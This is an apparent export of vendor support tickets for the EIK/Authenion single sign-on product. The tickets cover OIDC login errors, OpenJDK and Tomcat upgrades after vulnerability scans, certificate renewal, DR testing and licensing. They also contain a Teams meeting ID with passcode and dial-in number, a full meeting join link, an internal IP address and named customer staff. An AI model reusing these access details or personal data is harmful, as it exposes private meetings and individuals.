org.springframework.security.saml.webso.WebSSOProfileConsumerImpl.processAuthenticationRe  
sponse(WebSSOProfileConsumerImpl.java:146) at  
org.springframework.security.saml.SAMLAuthenticationProvider.authenticate(SAMLAuthenticationPr  
ovider.java:88)

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/home portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Amarnath Rajendran, Greetings to you ! We will get back to you ASAP to address this. Ticket  
URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1210> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit  
the ticket link above to view or manage your tickets.-->

We are checking this issue internally and this is not related to EIK so we are closing the ticket.

TICKET DISPLAY ID : 1211

SUBJECT : EIK\_debug.log is showing email\_address instead of UPN name when getting lookup  
error

PROBLEM DESCRIPTION : After going live with SSO in our production environment, i have been  
reviewing the eik-debug.log file to look for issues, i'm seeing some EIK\_USER\_LOOKUP\_ERROR  
and the OIDC login is an EMAIL ADDRESS and not their UPN. For most people that isn't a problem  
because they are the same, but for some of our people that is not the case. What I would like to do

is get a meeting with our Azure team, our DBA's and you. Can we do this and pretty quickly?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Bob, Sure, Please send us a meeting invite ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1211> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, We see that you have sent us the invite for the 26th (tomorrow) @12:30-1am IST. Please make sure the UPN attribute (optional claims) is added in the token configuration. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1211> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, Greetings to you ! Gentle reminder... we have a call today @12:30am Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1211> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

email attribute was removed in Azure...>Token config upn attribute was added by default Changed from email to upn in EIKAuth.config...>authn\_attribute=upn

Thank you for your assistance. We will perform our due diligence and test this thru different

instances... but it explains what i was seeing and makes perfect sense. i'll close the ticket.

TICKET DISPLAY ID : 1212

SUBJECT : OpenJDK 8 <= 8u432 / 11.0.0 <= 11.0.25 / 17.0.0 <= 17.0.13 / 21.0.0 <= 21.0.5 / 23.0.0 <= 23.0.1 Vulnerability (2025-01-21)

PROBLEM DESCRIPTION : Upgrade to an OpenJDK version greater than 8u432 / 11.0.25 / 17.0.13 / 21.0.5 / 23.0.1 Can you update latest supported OpenJdk ? Thanks Nara

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Nara Alwar, Greetings to you ! Can you please upgrade to OpenJDK 17.0.12 after testing this in lower environment. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1212>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We are already on 17.0.13 which is vulnerable and need to upgrade.

Hi Nara Alwar, Thank you, We will get back to you ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1212> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, Please go ahead and upgrade to OpenJDK 23.0.2 (test the EIK kit in a lower env before moving to Prod) Kindly let us know if you need any assistance. ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1212> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

will you publish the location to download OpenJDK 23.0.2 ? Thanks

Hi Nara Alwar, Here we go.. <https://www.oracle.com/in/java/technologies/downloads/> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1212> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, We are closing this ticket. I hope the ticket has been resolved to your satisfaction and you can reopen the same if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1212> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1213

SUBJECT : Apache Tomcat 9.0.0.M1 < 9.0.99 (232528)

PROBLEM DESCRIPTION : Tenable has picked up a new vulnerability with PROD/non-Prod apache Tomcat. Will you check and update if Apache Tomcat version 9.0.99 or later is supported?

Provide the link for download. Thanks Nara



SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Nara Alwar, Greeting to you ! We will let you know as soon as possible. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1213> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, ?We have tested our EIK kit on Tomcat ver 9.0.102, Please go ahead and upgrade to ver 9.0.102 Download link: <https://tomcat.apache.org/download-90.cgi> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1213> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, We are closing this ticket, Hope you were able to do the upgrade successfully, You could re-open the same if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1213> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1214

SUBJECT : Apache Tomcat Update to latest version

PROBLEM DESCRIPTION : We would like to update Apache Tomcat version to latest to address

vulnerability, please advise if any configurations settings and redeployment is required to perform in EIK, please provide if any documentation to upgrade Apache Tomcat with EIK application.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Venkata Reddy, Greeting to you ! Please proceed with Tomcat ver 9.0.102 We suggest that you test in a lower environment before upgrading to Prod. Documentation remains the same. Download link: <https://tomcat.apache.org/download-90.cgi> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1214> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thanks for the quick reply, I am doing it for the first time can you provide the steps and documentation to complete the testing in non-prod. Thanks Venkata

Hi Venkata Reddy, We have uploaded the deployment documentation for Tomcat and other related files to the support portal. Please let us know if you need further assistance. Click here to download ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1214> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, We are closing ticket #1214 Please feel free to contact us if you require any further assistance. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1214> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not

reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1215

SUBJECT : SSO Certificate updating

PROBLEM DESCRIPTION : We are getting new certificate renewed for SSO login, please advise steps to update certificate in EIK

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 seen\_articles: ["\"48001246046\""] enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/tickets portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Venkata Reddy, We are sharing the Eik deployment documentation which mentions about the SSL cert using the keytool command. Please let us know if you need further assistance. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1215> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, ?Greetings to you ! Were you able to add the SSL certificate to the Java trust store utilizing the Keytool command ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1215> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have scheduled the change on 4/3 will keep you posted if any issues.

Hi Venkata Reddy, Thank you for the update ! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1215> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Greetings to you! We are closing this ticket. Hope you were able to update the certificate. successfully. Please feel free to reach out to us should you have further queries. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1215> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1216

SUBJECT : Need LikeMinds subject matter expert available for Ping / EIK Production upgrade

PROBLEM DESCRIPTION : Andrew Chan is working with SDG to cut over to our upgraded Ping production environment. This is scheduled for 19th April 2025 17:00 PST and has asked me to arrange to have Likeminds support on standby in case we need their support.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0

seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new> created\_by: 48031483569 time: 2025-04-16 09:39:07 -0400

Hi Mark Wormald, Yes, we will be on-standby awaiting for any meeting invite from you. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1216> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Microsoft Teams Need help? Join the meeting now Meeting ID: 296 264 732 626 0 Passcode: Pm6n29x7 Dial in by phone +1 437-703-4196,,691971142# Canada, Toronto Find a local number Phone conference ID: 691 971 142# For organizers: Meeting options | Reset dial-in PIN

Hi Andrew Chan, We will connect on the 19th @ 17:00 PST Thank you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1216> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

The cutover is April 18 @ 5pm PST

Hi Andrew Chan, So you want us to join the meeting on the 18th @5pm PST? Kindly confirm. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1216> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1217

SUBJECT : Need LikeMinds subject matter expert available for Ping / EIK Production upgrade

PROBLEM DESCRIPTION : Please have LikeMinds subject matter expert available for Ping/EIK Prod cutover on 19th April 2025 17:00-19:00 PST We will be cutting over Ping for production to new Ping environment. We have fully tested the new environment but would like to make sure we have

enough testers available to make sure all applications are authenticated correctly after cutover.  
@Mark Wormald - Please arrange to have Likemind support on standby in case we need their support.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0  
seen\_articles: "["48001203602\"]" enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new created\_by: 48031483569 time: 2025-04-16 09:44:00 -0400

Hi Mark Wormald, ?Greetings to you ! Our support representative will be available during the production update to address any issuer related to EIK. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1217> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Mark Wormald, We are closing this ticket, as the ping upgrade was successful. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1217> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1218

SUBJECT : Need LikeMinds subject matter expert available for Ping / EIK Production upgrade

PROBLEM DESCRIPTION : Need LikeMinds subject matter expert available for Ping / EIK Production upgrade 19th April 2025 - 17:00-19:00 PST

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets portal\_url:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets/new

Hi Lumentum InfoSec, ?Greetings to you ! Our support representative will be available during the production update to address any issuer related to EIK. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1218> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, We are closing this ticket, as the ping upgrade was successful. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1218> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1219

SUBJECT : DR testing - SAND EBS environment

PROBLEM DESCRIPTION : we have brought up EBS and Authenion host in Dallas DR Datacenter. Modified EIKAuth.config to update EBS Landing page. Do i need to regenerate DBCx file? This is for DR TEST, just trying to confirm and document. Will use the same approach for prod.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Nara Alwar, Greetings to you, Please regenerate the dbcx if you have changed the eikuser password. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1219> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello EIK support, Nothing changed with EIKUSER. Only the change is to "ebs\_landing\_page" Can I just update "EIKAuth.config" ?

Hi Nara Alwar, Yes, please edit the "ebs\_landing\_page" in the "EIKAuth.config". Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1219> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello, I'm getting EIK error : Reference Code: OIDC-LM-2124 will you help with the error: We're unable to fulfill your request. Rest assured we have been notified and are looking into the issue. Try again later Thanks Nara

Hi Nara Alwar, Can you please provide us the EIK error and debug logs. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1219> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

If this helps, these are messages from eik-error.log 2025-04-22T12:45:09.785-0500 ERROR  
OIDC\_STATE\_MISSING\_ERROR com.likeminds.ebsauth.exception.AuthException:



OIDC\_STATE\_MISSING\_ERROR at  
com.likeminds.ebsauth.controller.AuthClientController.validateState(AuthClientController.java:161)  
~[classes/:2.3.0.4-SNAPSHOT] at  
com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:109)  
~[classes/:2.3.0.4-SNAPSHOT] at  
jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)  
~[?:?] at java.lang.reflect.Method.invoke(Method.java:580) ~[?:?] at  
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMet  
hod.java:205) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHa  
ndlerMethod.java:150) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAn  
dHandle(ServletInvocableHandlerMethod.java:117) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHa  
ndlerMethod(RequestMappingHandlerAdapter.java:895) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInt  
ernal(RequestMappingHandlerAdapter.java:808) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandl  
erMethodAdapter.java:87) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1067)  
~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)  
~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)  
~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)

~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:529)  
~[servlet-api.jar:4.0.FR] at  
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)  
~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:623)  
~[servlet-api.jar:4.0.FR] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:199)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.102] at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)  
~[tomcat-websocket.jar:9.0.102] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.102] at  
com.likeminds.ebsauth.processors.HttpProcessor.doFilterInternal(HttpProcessor.java:68)  
~[classes/:2.3.0.4-SNAPSHOT] at  
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354  
) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.102] at

org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:482)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:660)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)  
~[catalina.jar:9.0.102] at  
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)  
~[catalina.jar:9.0.102] at  
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:396)  
~[tomcat-coyote.jar:9.0.102] at  
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)  
~[tomcat-coyote.jar:9.0.102] at  
org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:937)  
~[tomcat-coyote.jar:9.0.102] at  
org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1793)  
~[tomcat-coyote.jar:9.0.102] at  
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)  
~[tomcat-coyote.jar:9.0.102] at

```
org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1190)
~[tomcat-util.jar:9.0.102] at
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
~[tomcat-util.jar:9.0.102] at
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
~[tomcat-util.jar:9.0.102] at java.lang.Thread.run(Thread.java:1575) ~[?:?]
2025-04-22T12:45:09.796-0500 ERROR Request Origination 10.32.192.125
2025-04-22T12:45:09.797-0500 ERROR No state cookie value found in request
```

Hi Nara Alwar, We see a difference in the "ContextPath=EBSAuth" and the "redirect\_uri set as EBSAuthSAND" ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1219>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, Can you please send us a meeting invite to address this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1219> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, Changes (typo) were made on the EBS profile params. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1219> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1220

SUBJECT : HESAA DEV License

PROBLEM DESCRIPTION : HESAA Dev Authenion license expires on 4/27/2025 we need the updated License key to keep DEV running

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/tickets> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Sriharsha Vala, Greetings to you, We will get back to you on the trial license renewal ASAP.

Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1220> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Sriharsha Vala, Please click here to download the trial license from the support portal. Kindly let us know if you need further assistance. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1220> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1221

SUBJECT : After upgrading Apache Tomcat to latest version stopped working

PROBLEM DESCRIPTION : As part of the vulnerability fix we are upgrading Apache Tomcat to latest version and deploying EIK and services are getting started by login is failing. Please advise and let us have quick call to address this issue ASAP. Thanks Venkata

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/tickets portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Venkata Reddy, Please send us a meeting invite soon. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1221> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Please send us the eik logs as well. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1221> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please join the call [https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_NTlhYTM0ZDIhNDgwMC00ODdjLWE5YTctYTcxMWE4MjllZDRk%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_NTlhYTM0ZDIhNDgwMC00ODdjLWE5YTctYTcxMWE4MjllZDRk%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d)

During the call, we identified that the OpenJDK version needed an update. We advised to upgrade it to version 23. Additionally, it was found that the server.xml file in Tomcat was missing the SSL keystore configuration. We guided them to add the keystore. After these changes EIK is now working within the VPN. The customer will check internally regarding access from outside the VPN. Awaiting their confirmation.

Hi Venkata Reddy,(Rambabu) ?Greetings to you ! We understand that the issue has been resolved, therefore we will be closing this ticket. Please reach out to us if you have further queries. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1221> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1222

SUBJECT : Apache Tomcat 9.0.0.M1 < 9.0.104 multiple vulnerabilities , Tenable Plugin 235034

PROBLEM DESCRIPTION : New Tomcat vulnerability found with the installed version. Path : /u01/app/authenion/tomcat Installed version : 9.0.102 Fixed version : 9.0.104 Will you confirm Tomcat compatibility for Authenion ? Let us know Thanks Nara

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets/1200> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Nara Alwar, Greetings to you ! Tomcat 9.0.104 has been tested and works with EIK. ?Kindly let us know if you need any assistance. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1222> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1223

SUBJECT : HESAA - Authenion Prod License

PROBLEM DESCRIPTION : Hi Team, HESAA is looking to move to Production. Can you please Provide the Production License for Authenion.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/tickets portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Sriharsha Vala, Greetings to you ! We shall get back to you on this ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1223> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Sriharsha Vala, Authenion 3.0 Production license valid for up to 31 August 2025. Click here to download ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1223> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1224

SUBJECT : Authenion - Cache

PROBLEM DESCRIPTION : we have an issue with caching in Authenion. we have to explicitly turn the caching off ( authenion\_authz\_cache off; ) in application1.conf Caching Configuration Mismatch: The caching behavior on the Authenion server defaults to ON, even though it is expected to be OFF by default.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)



AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/tickets/new> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Sriharsha Vala, We will give you an update on this ticket as well. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1224> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Dev team (Saipravalika) is working on the patch fix.

